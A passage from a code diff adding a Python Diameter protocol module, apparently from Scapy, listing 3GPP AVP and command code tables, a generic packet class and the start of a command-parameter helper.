AVPV_Grouped, 192), + 1459: ('Trace-Reference', AVPV_OctetString, 192), + 1462: ('Trace-Depth', AVP_10415_1462, 192), + 1463: ('Trace-NE-Type-List', AVPV_OctetString, 192), + 1464: ('Trace-Interface-List', AVPV_OctetString, 192), + 1465: ('Trace-Event-List', AVPV_OctetString, 192), + 1466: ('OMC-Id', AVPV_OctetString, 192), + 1467: ('GPRS-Subscription-Data', AVPV_Grouped, 192), + 1468: ('Complete-Data-List-Included-Indicator', AVP_10415_1468, 192), + 1469: ('PDP-Context', AVPV_Grouped, 192), + 1470: ('PDP-Type', AVPV_OctetString, 192), + 1471: ('3GPP2-MEID', AVPV_OctetString, 192), + 1472: ('Specific-APN-Info', AVPV_Grouped, 192), + 1473: ('LCS-Info', AVPV_Grouped, 192), + 1474: ('GMLC-Number', AVPV_OctetString, 192), + 1475: ('LCS-PrivacyException', AVPV_Grouped, 192), + 1476: ('SS-Code', AVPV_OctetString, 192), + 1477: ('SS-Status', AVPV_OctetString, 192), + 1478: ('Notification-To-UE-User', AVP_10415_1478, 192), + 1479: ('External-Client', AVPV_Grouped, 192), + 1480: ('Client-Identity', AVPV_OctetString, 192), + 1481: ('GMLC-Restriction', AVP_10415_1481, 192), + 1482: ('PLMN-Client', AVP_10415_1482, 192), + 1483: ('Service-Type', AVPV_Grouped, 192), + 1484: ('ServiceTypeIdentity', AVPV_Unsigned32, 192), + 1485: ('MO-LR', AVPV_Grouped, 192), + 1486: ('Teleservice-List', AVPV_Grouped, 192), + 1487: ('TS-Code', AVPV_OctetString, 192), + 1488: ('Call-Barring-Info', AVPV_Grouped, 192), + 1489: ('SGSN-Number', AVPV_OctetString, 192), + 1490: ('IDR-Flags', AVPV_Unsigned32, 192), + 1491: ('ICS-Indicator', AVP_10415_1491, 128), + 1492: ('IMS-Voice-Over-PS-Sessions-Supported', AVP_10415_1492, 128), + 1493: ('Homogeneous-Support-of-IMS-Voice-Over-PS-Sessions', AVP_10415_1493, 128), # noqa: E501 + 1494: ('Last-UE-Activity-Time', AVPV_Time, 128), + 1495: ('EPS-User-State', AVPV_Grouped, 128), + 1496: ('EPS-Location-Information', AVPV_Grouped, 128), + 1497: ('MME-User-State', AVPV_Grouped, 128), + 1498: ('SGSN-User-State', AVPV_Grouped, 128), + 1499: ('User-State', AVP_10415_1499, 128), + 1500: ('Non-3GPP-User-Data', AVPV_Grouped, 192), + 1501: ('Non-3GPP-IP-Access', AVP_10415_1501, 192), + 1502: ('Non-3GPP-IP-Access-APN', AVP_10415_1502, 192), + 1503: ('AN-Trusted', AVP_10415_1503, 192), + 1504: ('ANID', AVPV_StrLenField, 192), + 1505: ('Trace-Info', AVPV_Grouped, 128), + 1506: ('MIP-FA-RK', AVPV_OctetString, 192), + 1507: ('MIP-FA-RK-SPI', AVPV_Unsigned32, 192), + 1508: ('PPR-Flags', AVPV_Unsigned32, 128), + 1509: ('WLAN-Identifier', AVPV_Grouped, 128), + 1510: ('TWAN-Access-Info', AVPV_Grouped, 128), + 1511: ('Access-Authorization-Flags', AVPV_Unsigned32, 128), + 1512: ('TWAN-Default-APN-Context-Id', AVPV_Unsigned32, 128), + 1515: ('Trust-Relationship-Update', AVP_10415_1515, 128), + 1516: ('Full-Network-Name', AVPV_OctetString, 128), + 1517: ('Short-Network-Name', AVPV_OctetString, 128), + 1518: ('AAA-Failure-Indication', AVPV_Unsigned32, 128), + 1519: ('Transport-Access-Type', AVP_10415_1519, 128), + 1520: ('DER-Flags', AVPV_Unsigned32, 128), + 1521: ('DEA-Flags', AVPV_Unsigned32, 128), + 1522: ('RAR-Flags', AVPV_Unsigned32, 128), + 1523: ('DER-S6b-Flags', AVPV_Unsigned32, 128), + 1524: ('SSID', AVPV_StrLenField, 128), + 1525: ('HESSID', AVPV_StrLenField, 128), + 1526: ('Access-Network-Info', AVPV_Grouped, 128), + 1527: ('TWAN-Connection-Mode', AVPV_Unsigned32, 128), + 1528: ('TWAN-Connectivity-Parameters', AVPV_Grouped, 128), + 1529: ('Connectivity-Flags', AVPV_Unsigned32, 128), + 1530: ('TWAN-PCO', AVPV_OctetString, 128), + 1531: ('TWAG-CP-Address', AVPV_Address, 128), + 1532: ('TWAG-UP-Address', AVPV_StrLenField, 128), + 1533: ('TWAN-S2a-Failure-Cause', AVPV_Unsigned32, 128), + 1534: ('SM-Back-Off-Timer', AVPV_Unsigned32, 128), + 1535: ('WLCP-Key', AVPV_OctetString, 128), + 1600: ('Information', AVPV_Grouped, 128), + 1601: ('SGSN-Location-Information', AVPV_Grouped, 128), + 1602: ('E-UTRAN-Cell-Global-Identity', AVPV_OctetString, 128), + 1603: ('Tracking-Area-Identity', AVPV_OctetString, 128), + 1604: ('Cell-Global-Identity', AVPV_OctetString, 128), + 1605: ('Routing-Area-Identity', AVPV_OctetString, 128), + 1606: ('Location-Area-Identity', AVPV_OctetString, 128), + 1607: ('Service-Area-Identity', AVPV_OctetString, 128), + 1608: ('Geographical-Information', AVPV_OctetString, 128), + 1609: ('Geodetic-Information', AVPV_OctetString, 128), + 1610: ('Current-Location-Retrieved', AVP_10415_1610, 128), + 1611: ('Age-Of-Location-Information', AVPV_Unsigned32, 128), + 1612: ('Active-APN', AVPV_Grouped, 128), + 1613: ('SIPTO-Permission', AVP_10415_1613, 128), + 1614: ('Error-Diagnostic', AVP_10415_1614, 128), + 1615: ('UE-SRVCC-Capability', AVP_10415_1615, 128), + 1616: ('MPS-Priority', AVPV_Unsigned32, 128), + 1617: ('VPLMN-LIPA-Allowed', AVP_10415_1617, 128), + 1618: ('LIPA-Permission', AVP_10415_1618, 128), + 1619: ('Subscribed-Periodic-RAU-TAU-Timer', AVPV_Unsigned32, 128), + 1621: ('Ext-PDP-Address', AVPV_Address, 128), + 1622: ('MDT-Configuration', AVPV_Grouped, 128), + 1623: ('Job-Type', AVP_10415_1623, 128), + 1624: ('Area-Scope', AVPV_Grouped, 128), + 1625: ('List-Of-Measurements', AVPV_Unsigned32, 128), + 1626: ('Reporting-Trigger', AVPV_Unsigned32, 128), + 1627: ('Report-Interval', AVP_10415_1627, 128), + 1628: ('Report-Amount', AVP_10415_1628, 128), + 1629: ('Event-Threshold-RSRP', AVPV_Unsigned32, 128), + 1631: ('Logging-Interval', AVP_10415_1631, 128), + 1632: ('Logging-Duration', AVP_10415_1632, 128), + 1633: ('Relay-Node-Indicator', AVP_10415_1633, 128), + 1634: ('MDT-User-Consent', AVP_10415_1634, 128), + 1635: ('PUR-Flags', AVPV_Unsigned32, 128), + 1636: ('Subscribed-VSRVCC', AVP_10415_1636, 128), + 1638: ('CLR-Flags', AVPV_Unsigned32, 128), + 1639: ('UVR-Flags', AVPV_Unsigned32, 192), + 1640: ('UVA-Flags', AVPV_Unsigned32, 192), + 1641: ('VPLMN-CSG-Subscription-Data', AVPV_Grouped, 192), + 1642: ('Time-Zone', AVPV_StrLenField, 128), + 1643: ('A-MSISDN', AVP_10415_1643, 128), + 1645: ('MME-Number-for-MT-SMS', AVPV_OctetString, 128), + 1648: ('SMS-Register-Request', AVP_10415_1648, 128), + 1649: ('Local-Time-Zone', AVPV_Grouped, 128), + 1650: ('Daylight-Saving-Time', AVP_10415_1650, 128), + 1654: ('Subscription-Data-Flags', AVPV_Unsigned32, 128), + 1659: ('Positioning-Method', AVPV_OctetString, 128), + 1660: ('Measurement-Quantity', AVPV_OctetString, 128), + 1661: ('Event-Threshold-Event-1F', AVPV_Integer32, 128), + 1662: ('Event-Threshold-Event-1I', AVPV_Integer32, 128), + 1663: ('Restoration-Priority', AVPV_Unsigned32, 128), + 1664: ('SGs-MME-Identity', AVPV_StrLenField, 128), + 1665: ('SIPTO-Local-Network-Permission', AVPV_Unsigned32, 128), + 1666: ('Coupled-Node-Diameter-ID', AVPV_StrLenField, 128), + 1667: ('WLAN-offloadability', AVPV_Grouped, 128), + 1668: ('WLAN-offloadability-EUTRAN', AVPV_Unsigned32, 128), + 1669: ('WLAN-offloadability-UTRAN', AVPV_Unsigned32, 128), + 1670: ('Reset-ID', AVPV_OctetString, 128), + 1671: ('MDT-Allowed-PLMN-Id', AVPV_OctetString, 128), + 2000: ('SMS-Information', AVPV_Grouped, 192), + 2001: ('Data-Coding-Scheme', AVPV_Integer32, 192), + 2002: ('Destination-Interface', AVPV_Grouped, 192), + 2003: ('Interface-Id', AVPV_StrLenField, 192), + 2004: ('Interface-Port', AVPV_StrLenField, 192), + 2005: ('Interface-Text', AVPV_StrLenField, 192), + 2006: ('Interface-Type', AVP_10415_2006, 192), + 2007: ('SM-Message-Type', AVP_10415_2007, 192), + 2008: ('Originator-SCCP-Address', AVPV_Address, 192), + 2009: ('Originator-Interface', AVPV_Grouped, 192), + 2010: ('Recipient-SCCP-Address', AVPV_Address, 192), + 2011: ('Reply-Path-Requested', AVP_10415_2011, 192), + 2012: ('SM-Discharge-Time', AVPV_Time, 192), + 2013: ('SM-Protocol-ID', AVPV_OctetString, 192), + 2015: ('SM-User-Data-Header', AVPV_OctetString, 192), + 2016: ('SMS-Node', AVP_10415_2016, 192), + 2018: ('Client-Address', AVPV_Address, 192), + 2019: ('Number-Of-Messages-Sent', AVPV_Unsigned32, 192), + 2021: ('Remaining-Balance', AVPV_Grouped, 192), + 2022: ('Refund-Information', AVPV_OctetString, 192), + 2023: ('Carrier-Select-Routing-Information', AVPV_StrLenField, 192), + 2024: ('Number-Portability-Routing-Information', AVPV_StrLenField, 192), # noqa: E501 + 2025: ('PoC-Event-Type', AVP_10415_2025, 192), + 2026: ('Recipient-Info', AVPV_Grouped, 192), + 2027: ('Originator-Received-Address', AVPV_Grouped, 192), + 2028: ('Recipient-Received-Address', AVPV_Grouped, 192), + 2029: ('SM-Service-Type', AVP_10415_2029, 192), + 2030: ('MMTel-Information', AVPV_Grouped, 192), + 2031: ('MMTel-SService-Type', AVPV_Unsigned32, 192), + 2032: ('Service-Mode', AVPV_Unsigned32, 192), + 2033: ('Subscriber-Role', AVP_10415_2033, 192), + 2034: ('Number-Of-Diversions', AVPV_Unsigned32, 192), + 2035: ('Associated-Party-Address', AVPV_StrLenField, 192), + 2036: ('SDP-Type', AVP_10415_2036, 192), + 2037: ('Change-Condition', AVPV_Integer32, 192), + 2038: ('Change-Time', AVPV_Time, 192), + 2039: ('Diagnostics', AVPV_Integer32, 192), + 2040: ('Service-Data-Container', AVPV_Grouped, 192), + 2041: ('Start-Time', AVPV_Time, 192), + 2042: ('Stop-Time', AVPV_Time, 192), + 2043: ('Time-First-Usage', AVPV_Time, 192), + 2044: ('Time-Last-Usage', AVPV_Time, 192), + 2045: ('Time-Usage', AVPV_Unsigned32, 192), + 2046: ('Traffic-Data-Volumes', AVPV_Grouped, 192), + 2047: ('Serving-Node-Type', AVP_10415_2047, 192), + 2048: ('Supplementary-Service', AVPV_Grouped, 192), + 2049: ('Participant-Action-Type', AVP_10415_2049, 192), + 2050: ('PDN-Connection-Charging-ID', AVPV_Unsigned32, 192), + 2051: ('Dynamic-Address-Flag', AVP_10415_2051, 192), + 2052: ('Accumulated-Cost', AVPV_Grouped, 192), + 2053: ('AoC-Cost-Information', AVPV_Grouped, 192), + 2056: ('Current-Tariff', AVPV_Grouped, 192), + 2058: ('Rate-Element', AVPV_Grouped, 192), + 2059: ('Scale-Factor', AVPV_Grouped, 192), + 2060: ('Tariff-Information', AVPV_Grouped, 192), + 2061: ('Unit-Cost', AVPV_Grouped, 192), + 2062: ('Incremental-Cost', AVPV_Grouped, 192), + 2063: ('Local-Sequence-Number', AVPV_Unsigned32, 192), + 2064: ('Node-Id', AVPV_StrLenField, 192), + 2065: ('SGW-Change', AVP_10415_2065, 192), + 2066: ('Charging-Characteristics-Selection-Mode', AVP_10415_2066, 192), + 2067: ('SGW-Address', AVPV_Address, 192), + 2068: ('Dynamic-Address-Flag-Extension', AVP_10415_2068, 192), + 2118: ('Charge-Reason-Code', AVP_10415_2118, 192), + 2200: ('Subsession-Decision-Info', AVPV_Grouped, 192), + 2201: ('Subsession-Enforcement-Info', AVPV_Grouped, 192), + 2202: ('Subsession-Id', AVPV_Unsigned32, 192), + 2203: ('Subsession-Operation', AVP_10415_2203, 192), + 2204: ('Multiple-BBERF-Action', AVP_10415_2204, 192), + 2206: ('DRA-Deployment', AVP_10415_2206, 128), + 2208: ('DRA-Binding', AVP_10415_2208, 128), + 2301: ('SIP-Request-Timestamp-Fraction', AVPV_Unsigned32, 192), + 2302: ('SIP-Response-Timestamp-Fraction', AVPV_Unsigned32, 192), + 2303: ('Online-Charging-Flag', AVP_10415_2303, 192), + 2304: ('CUG-Information', AVPV_OctetString, 192), + 2305: ('Real-Time-Tariff-Information', AVPV_Grouped, 192), + 2306: ('Tariff-XML', AVPV_StrLenField, 192), + 2307: ('MBMS-GW-Address', AVPV_Address, 192), + 2308: ('IMSI-Unauthenticated-Flag', AVP_10415_2308, 192), + 2309: ('Account-Expiration', AVPV_Time, 192), + 2310: ('AoC-Format', AVP_10415_2310, 192), + 2311: ('AoC-Service', AVPV_Grouped, 192), + 2312: ('AoC-Service-Obligatory-Type', AVP_10415_2312, 192), + 2313: ('AoC-Service-Type', AVP_10415_2313, 192), + 2314: ('AoC-Subscription-Information', AVPV_Grouped, 192), + 2315: ('Preferred-AoC-Currency', AVPV_Unsigned32, 192), + 2317: ('CSG-Access-Mode', AVP_10415_2317, 192), + 2318: ('CSG-Membership-Indication', AVP_10415_2318, 192), + 2319: ('User-CSG-Information', AVPV_Grouped, 192), + 2320: ('Outgoing-Session-Id', AVPV_StrLenField, 192), + 2321: ('Initial-IMS-Charging-Identifier', AVPV_StrLenField, 192), + 2322: ('IMS-Emergency-Indicator', AVP_10415_2322, 192), + 2323: ('MBMS-Charged-Party', AVP_10415_2323, 192), + 2400: ('LMSI', AVPV_OctetString, 192), + 2401: ('Serving-Node', AVPV_Grouped, 192), + 2402: ('MME-Name', AVPV_StrLenField, 192), + 2403: ('MSC-Number', AVPV_OctetString, 192), + 2404: ('LCS-Capabilities-Sets', AVPV_Unsigned32, 192), + 2405: ('GMLC-Address', AVPV_Address, 192), + 2406: ('Additional-Serving-Node', AVPV_Grouped, 192), + 2407: ('PPR-Address', AVPV_Address, 192), + 2408: ('MME-Realm', AVPV_StrLenField, 128), + 2409: ('SGSN-Name', AVPV_StrLenField, 128), + 2410: ('SGSN-Realm', AVPV_StrLenField, 128), + 2411: ('RIA-Flags', AVPV_Unsigned32, 128), + 2500: ('SLg-Location-Type', AVP_10415_2500, 192), + 2501: ('LCS-EPS-Client-Name', AVPV_Grouped, 192), + 2502: ('LCS-Requestor-Name', AVPV_Grouped, 192), + 2503: ('LCS-Priority', AVPV_Unsigned32, 192), + 2504: ('LCS-QoS', AVPV_Grouped, 192), + 2505: ('Horizontal-Accuracy', AVPV_Unsigned32, 192), + 2506: ('Vertical-Accuracy', AVPV_Unsigned32, 192), + 2507: ('Vertical-Requested', AVP_10415_2507, 192), + 2508: ('Velocity-Requested', AVP_10415_2508, 192), + 2509: ('Response-Time', AVP_10415_2509, 192), + 2510: ('Supported-GAD-Shapes', AVPV_Unsigned32, 192), + 2511: ('LCS-Codeword', AVPV_StrLenField, 192), + 2512: ('LCS-Privacy-Check', AVP_10415_2512, 192), + 2513: ('Accuracy-Fulfilment-Indicator', AVP_10415_2513, 192), + 2514: ('Age-Of-Location-Estimate', AVPV_Unsigned32, 192), + 2515: ('Velocity-Estimate', AVPV_OctetString, 192), + 2516: ('EUTRAN-Positioning-Data', AVPV_OctetString, 192), + 2517: ('ECGI', AVPV_OctetString, 192), + 2518: ('Location-Event', AVP_10415_2518, 192), + 2519: ('Pseudonym-Indicator', AVP_10415_2519, 192), + 2520: ('LCS-Service-Type-ID', AVPV_Unsigned32, 192), + 2523: ('LCS-QoS-Class', AVP_10415_2523, 192), + 2524: ('GERAN-Positioning-Info', AVPV_Grouped, 128), + 2525: ('GERAN-Positioning-Data', AVPV_OctetString, 128), + 2526: ('GERAN-GANSS-Positioning-Data', AVPV_OctetString, 128), + 2527: ('UTRAN-Positioning-Info', AVPV_Grouped, 128), + 2528: ('UTRAN-Positioning-Data', AVPV_OctetString, 128), + 2529: ('UTRAN-GANSS-Positioning-Data', AVPV_OctetString, 128), + 2530: ('LRR-Flags', AVPV_Unsigned32, 128), + 2531: ('LCS-Reference-Number', AVPV_OctetString, 128), + 2532: ('Deferred-Location-Type', AVPV_Unsigned32, 128), + 2533: ('Area-Event-Info', AVPV_Grouped, 128), + 2534: ('Area-Definition', AVPV_Grouped, 128), + 2535: ('Area', AVPV_Grouped, 128), + 2536: ('Area-Type', AVPV_Unsigned32, 128), + 2537: ('Area-Identification', AVPV_Grouped, 128), + 2538: ('Occurrence-Info', AVP_10415_2538, 128), + 2539: ('Interval-Time', AVPV_Unsigned32, 128), + 2540: ('Periodic-LDR-Information', AVPV_Grouped, 128), + 2541: ('Reporting-Amount', AVPV_Unsigned32, 128), + 2542: ('Reporting-Interval', AVPV_Unsigned32, 128), + 2543: ('Reporting-PLMN-List', AVPV_Grouped, 128), + 2544: ('PLMN-ID-List', AVPV_Grouped, 128), + 2545: ('PLR-Flags', AVPV_Unsigned32, 128), + 2546: ('PLA-Flags', AVPV_Unsigned32, 128), + 2547: ('Deferred-MT-LR-Data', AVPV_Grouped, 128), + 2548: ('Termination-Cause', AVPV_Unsigned32, 128), + 2549: ('LRA-Flags', AVPV_Unsigned32, 128), + 2550: ('Periodic-Location-Support-Indicator', AVP_10415_2550, 128), + 2551: ('Prioritized-List-Indicator', AVP_10415_2551, 128), + 2552: ('ESMLC-Cell-Info', AVPV_Grouped, 128), + 2553: ('Cell-Portion-ID', AVPV_Unsigned32, 128), + 2554: ('1xRTT-RCID', AVPV_OctetString, 128), + 2601: ('IMS-Application-Reference-Identifier', AVPV_StrLenField, 192), + 2602: ('Low-Priority-Indicator', AVP_10415_2602, 192), + 2604: ('Local-GW-Inserted-Indication', AVP_10415_2604, 192), + 2605: ('Transcoder-Inserted-Indication', AVP_10415_2605, 192), + 2606: ('PDP-Address-Prefix-Length', AVPV_Unsigned32, 192), + 2701: ('Transit-IOI-List', AVPV_StrLenField, 192), + 2702: ('AS-Code', AVP_10415_2702, 192), + 2704: ('NNI-Type', AVP_10415_2704, 192), + 2705: ('Neighbour-Node-Address', AVPV_Address, 192), + 2706: ('Relationship-Mode', AVP_10415_2706, 192), + 2707: ('Session-Direction', AVP_10415_2707, 192), + 2708: ('From-Address', AVPV_StrLenField, 192), + 2709: ('Access-Transfer-Information', AVPV_Grouped, 192), + 2710: ('Access-Transfer-Type', AVP_10415_2710, 192), + 2711: ('Related-IMS-Charging-Identifier', AVPV_StrLenField, 192), + 2712: ('Related-IMS-Charging-Identifier-Node', AVPV_Address, 192), + 2713: ('IMS-Visited-Network-Identifier', AVPV_StrLenField, 192), + 2714: ('TWAN-User-Location-Info', AVPV_Grouped, 192), + 2716: ('BSSID', AVPV_StrLenField, 192), + 2717: ('TAD-Identifier', AVP_10415_2717, 192), + 2802: ('TDF-Application-Instance-Identifier', AVPV_OctetString, 128), + 2804: ('HeNB-Local-IP-Address', AVPV_Address, 128), + 2805: ('UE-Local-IP-Address', AVPV_Address, 128), + 2806: ('UDP-Source-Port', AVPV_Unsigned32, 128), + 2809: ('Mute-Notification', AVP_10415_2809, 128), + 2810: ('Monitoring-Time', AVPV_Time, 128), + 2811: ('AN-GW-Status', AVP_10415_2811, 128), + 2812: ('User-Location-Info-Time', AVPV_Time, 128), + 2816: ('Default-QoS-Information', AVPV_Grouped, 128), + 2817: ('Default-QoS-Name', AVPV_StrLenField, 128), + 2818: ('Conditional-APN-Aggregate-Max-Bitrate', AVPV_Grouped, 128), + 2819: ('RAN-NAS-Release-Cause', AVPV_OctetString, 128), + 2820: ('Presence-Reporting-Area-Elements-List', AVPV_OctetString, 128), + 2821: ('Presence-Reporting-Area-Identifier', AVPV_OctetString, 128), + 2822: ('Presence-Reporting-Area-Information', AVPV_Grouped, 128), + 2823: ('Presence-Reporting-Area-Status', AVPV_Unsigned32, 128), + 2824: ('NetLoc-Access-Support', AVPV_Unsigned32, 128), + 2825: ('Fixed-User-Location-Info', AVPV_Grouped, 128), + 2826: ('PCSCF-Restoration-Indication', AVPV_Unsigned32, 128), + 2827: ('IP-CAN-Session-Charging-Scope', AVPV_Unsigned32, 128), + 2828: ('Monitoring-Flags', AVPV_Unsigned32, 128), + 2901: ('Policy-Counter-Identifier', AVPV_StrLenField, 192), + 2902: ('Policy-Counter-Status', AVPV_StrLenField, 192), + 2903: ('Policy-Counter-Status-Report', AVPV_Grouped, 192), + 2904: ('SL-Request-Type', AVP_10415_2904, 192), + 2905: ('Pending-Policy-Counter-Information', AVPV_Grouped, 192), + 2906: ('Pending-Policy-Counter-Change-Time', AVPV_Time, 192), + 3401: ('Reason-Header', AVPV_StrLenField, 192), + 3402: ('Instance-Id', AVPV_StrLenField, 192), + 3403: ('Route-Header-Received', AVPV_StrLenField, 192), + 3404: ('Route-Header-Transmitted', AVPV_StrLenField, 192), + 3405: ('SM-Device-Trigger-Information', AVPV_Grouped, 192), + 3406: ('MTC-IWF-Address', AVPV_Address, 192), + 3407: ('SM-Device-Trigger-Indicator', AVP_10415_3407, 192), + 3408: ('SM-Sequence-Number', AVPV_Unsigned32, 192), + 3409: ('SMS-Result', AVPV_Unsigned32, 192), + 3410: ('VCS-Information', AVPV_Grouped, 192), + 3411: ('Basic-Service-Code', AVPV_Grouped, 192), + 3412: ('Bearer-Capability', AVPV_OctetString, 192), + 3413: ('Teleservice', AVPV_OctetString, 192), + 3414: ('ISUP-Location-Number', AVPV_OctetString, 192), + 3415: ('Forwarding-Pending', AVP_10415_3415, 192), + 3416: ('ISUP-Cause', AVPV_Grouped, 192), + 3417: ('MSC-Address', AVPV_OctetString, 192), + 3418: ('Network-Call-Reference-Number', AVPV_OctetString, 192), + 3419: ('Start-of-Charging', AVPV_Time, 192), + 3420: ('VLR-Number', AVPV_OctetString, 192), + 3421: ('CN-Operator-Selection-Entity', AVP_10415_3421, 192), + 3422: ('ISUP-Cause-Diagnostics', AVPV_OctetString, 192), + 3423: ('ISUP-Cause-Location', AVPV_Unsigned32, 192), + 3424: ('ISUP-Cause-Value', AVPV_Unsigned32, 192), + 3425: ('ePDG-Address', AVPV_Address, 192), + 3428: ('Coverage-Status', AVP_10415_3428, 192), + 3429: ('Layer-2-Group-ID', AVPV_StrLenField, 192), + 3430: ('Monitored-PLMN-Identifier', AVPV_StrLenField, 192), + 3431: ('Monitoring-UE-HPLMN-Identifier', AVPV_StrLenField, 192), + 3432: ('Monitoring-UE-Identifier', AVPV_StrLenField, 192), + 3433: ('Monitoring-UE-VPLMN-Identifier', AVPV_StrLenField, 192), + 3434: ('PC3-Control-Protocol-Cause', AVPV_Integer32, 192), + 3435: ('PC3-EPC-Control-Protocol-Cause', AVPV_Integer32, 192), + 3436: ('Requested-PLMN-Identifier', AVPV_StrLenField, 192), + 3437: ('Requestor-PLMN-Identifier', AVPV_StrLenField, 192), + 3438: ('Role-Of-ProSe-Function', AVP_10415_3438, 192), + 3439: ('Usage-Information-Report-Sequence-Number', AVPV_Integer32, 192), # noqa: E501 + 3440: ('ProSe-3rd-Party-Application-ID', AVPV_StrLenField, 192), + 3441: ('ProSe-Direct-Communication-Data-Container', AVPV_Grouped, 192), + 3442: ('ProSe-Direct-Discovery-Model', AVP_10415_3442, 192), + 3443: ('ProSe-Event-Type', AVP_10415_3443, 192), + 3444: ('ProSe-Function-IP-Address', AVPV_Address, 192), + 3445: ('ProSe-Functionality', AVP_10415_3445, 192), + 3446: ('ProSe-Group-IP-Multicast-Address', AVPV_Address, 192), + 3447: ('ProSe-Information', AVPV_Grouped, 192), + 3448: ('ProSe-Range-Class', AVP_10415_3448, 192), + 3449: ('ProSe-Reason-For-Cancellation', AVP_10415_3449, 192), + 3450: ('ProSe-Request-Timestamp', AVPV_Time, 192), + 3451: ('ProSe-Role-Of-UE', AVP_10415_3451, 192), + 3452: ('ProSe-Source-IP-Address', AVPV_Address, 192), + 3453: ('ProSe-UE-ID', AVPV_StrLenField, 192), + 3454: ('Proximity-Alert-Indication', AVP_10415_3454, 192), + 3455: ('Proximity-Alert-Timestamp', AVPV_Time, 192), + 3456: ('Proximity-Cancellation-Timestamp', AVPV_Time, 192), + 3457: ('ProSe-Function-PLMN-Identifier', AVPV_StrLenField, 192), + }, +} + + +##################################################################### +##################################################################### +# +# Diameter commands classes and definitions +# +##################################################################### +##################################################################### + +# Version + message length + flags + code + Application-ID + Hop-by-Hop ID +# + End-to-End ID +DR_Header_Length = 20 +DR_Flags_List = ["x", "x", "x", "x", "T", "E", "P", "R"] + +# The Diameter commands definition fields meaning: +# 2nd: the 2 letters prefix for both requests and answers +# 3rd: dictionary of Request/Answer command flags for each supported application ID. Each dictionary key is one of the # noqa: E501 +# supported application ID and each value is a tuple defining the request +# flag and then the answer flag +DR_cmd_def = { + 257: ('Capabilities-Exchange', 'CE', {0: (128, 0)}), + 258: ('Re-Auth', 'RA', {0: (192, 64), 1: (192, 64), 16777250: (192, 64), 16777272: (192, 64), 16777264: (192, 64)}), # noqa: E501 + 260: ('AA-Mobile-Node', 'AM', {2: (192, 64)}), + 262: ('Home-Agent-MIP', 'HA', {2: (192, 64)}), + 265: ('AA', 'AA', {16777272: (192, 64), 1: (192, 64), 16777250: (192, 64), 16777264: (192, 64)}), # noqa: E501 + 268: ('Diameter-EAP', 'DE', {16777272: (192, 64), 16777264: (192, 64), 16777250: (192, 64), 5: (192, 64), 7: (192, 64)}), # noqa: E501 + 271: ('Accounting', 'AC', {0: (192, 64), 1: (192, 64)}), + 272: ('Credit-Control', 'CC', {4: (192, 64)}), + 274: ('Abort-Session', 'AS', {0: (192, 64), 1: (192, 64), 16777250: (192, 64), 16777272: (192, 64), 16777264: (192, 64)}), # noqa: E501 + 275: ('Session-Termination', 'ST', {0: (192, 64), 1: (192, 64), 16777250: (192, 64), 16777264: (192, 64), 16777272: (192, 64)}), # noqa: E501 + 280: ('Device-Watchdog', 'DW', {0: (128, 0)}), + 282: ('Disconnect-Peer', 'DP', {0: (128, 0)}), + 283: ('User-Authorization', 'UA', {6: (192, 64)}), + 284: ('Server-Assignment', 'SA', {6: (192, 64)}), + 285: ('Location-Info', 'LI', {6: (192, 64)}), + 286: ('Multimedia-Auth', 'MA', {6: (192, 64)}), + 287: ('Registration-Termination', 'RT', {6: (192, 64)}), + 288: ('Push-Profile', 'PP', {6: (192, 64)}), + 300: ('User-Authorization', 'UA', {16777216: (192, 64)}), + 301: ('Server-Assignment', 'SA', {16777216: (192, 64), 16777265: (192, 64)}), # noqa: E501 + 302: ('Location-Info', 'LI', {16777216: (192, 64)}), + 303: ('Multimedia-Auth', 'MA', {16777216: (192, 64), 16777265: (192, 64)}), + 304: ('Registration-Termination', 'RT', {16777216: (192, 64), 16777265: (192, 64)}), # noqa: E501 + 305: ('Push-Profile', 'PP', {16777216: (192, 64), 16777265: (128, 64)}), + 306: ('User-Data', 'UD', {16777217: (192, 64)}), + 307: ('Profile-Update', 'PU', {16777217: (192, 64)}), + 308: ('Subscribe-Notifications', 'SN', {16777217: (192, 64)}), + 309: ('Push-Notification', 'PN', {16777217: (192, 64)}), + 316: ('Update-Location', 'UL', {16777251: (192, 64)}), + 317: ('Cancel-Location', 'CL', {16777251: (192, 64)}), + 318: ('Authentication-Information', 'AI', {16777251: (192, 64)}), + 319: ('Insert-Subscriber-Data', 'ID', {16777251: (192, 64)}), + 320: ('Delete-Subscriber-Data', 'DS', {16777251: (192, 64)}), + 321: ('Purge-UE', 'PU', {16777251: (192, 64)}), + 322: ('Reset', 'RS', {16777251: (192, 64)}), + 323: ('Notify', 'NO', {16777251: (192, 64)}), + 324: ('ME-Identity-Check', 'EC', {16777252: (192, 64)}), + 325: ('MIP6', 'MI', {8: (192, 64)}), + 8388620: ('Provide-Location', 'PL', {16777255: (192, 64)}), + 8388621: ('Location-Report', 'LR', {16777255: (192, 64)}), + 8388622: ('LCS-Routing-Info', 'RI', {16777291: (192, 64)}), + 8388635: ('Spending-Limit', 'SL', {16777255: (192, 64)}), + 8388636: ('Spending-Status-Notification', 'SN', {16777255: (192, 64)}), + 8388638: ('Update-VCSG-Location', 'UV', {16777308: (192, 64)}), + 8388642: ('Cancel-VCSG-Location', 'CV', {16777308: (192, 64)}), +} + +# Generic class + commands builder +####################################### + + +class DiamG (Packet): + """ Generic class defining all the Diameter fields""" + name = "Diameter" + fields_desc = [ + # Protocol version field, 1 byte, default value = 1 + XByteField("version", 1), + I3FieldLenField( + "drLen", + None, + length_of="avpList", + adjust=lambda p, + x:x + + DR_Header_Length), + DRFlags("drFlags", None, 8, DR_Flags_List), + # Command Code, 3 bytes, no default + DRCode("drCode", None, DR_cmd_def), + # Application ID, 4 bytes, no default + IntEnumField("drAppId", None, AppIDsEnum), + # Hop-by-Hop Identifier, 4 bytes + XIntField("drHbHId", 0), + # End-to-end Identifier, 4 bytes + XIntField("drEtEId", 0), + PacketListField( + "avpList", + [], + GuessAvpType, + length_from=lambda pkt:pkt.drLen - + DR_Header_Length), + ] + + +def getCmdParams(cmd, request, **fields): + """Update or fill the fields parameters depending on command code. Both cmd and drAppId can be provided # noqa: E501 + in string or int format.""" + drCode = None + params = None + drAppId = None + # Fetch the parameters if cmd is found in dict + if isinstance(cmd, int): + drCode = cmd # Enable to craft commands with non standard code + if cmd in DR_cmd_def: + params = DR_cmd_def[drCode] + else: + params = ('Unknown', 'UK', {0: (128, 0)}) + warning( + 'No Diameter command with code %d found in DR_cmd_def dictionary' % # noqa: E501 + cmd) + else: # Assume command is a string + if len(cmd) > 3: # Assume full command name given + fpos = 0 + else: # Assume abbreviated name is given and take only the first two letters # noqa: E501 + cmd = cmd[:2] + fpos = 1 + 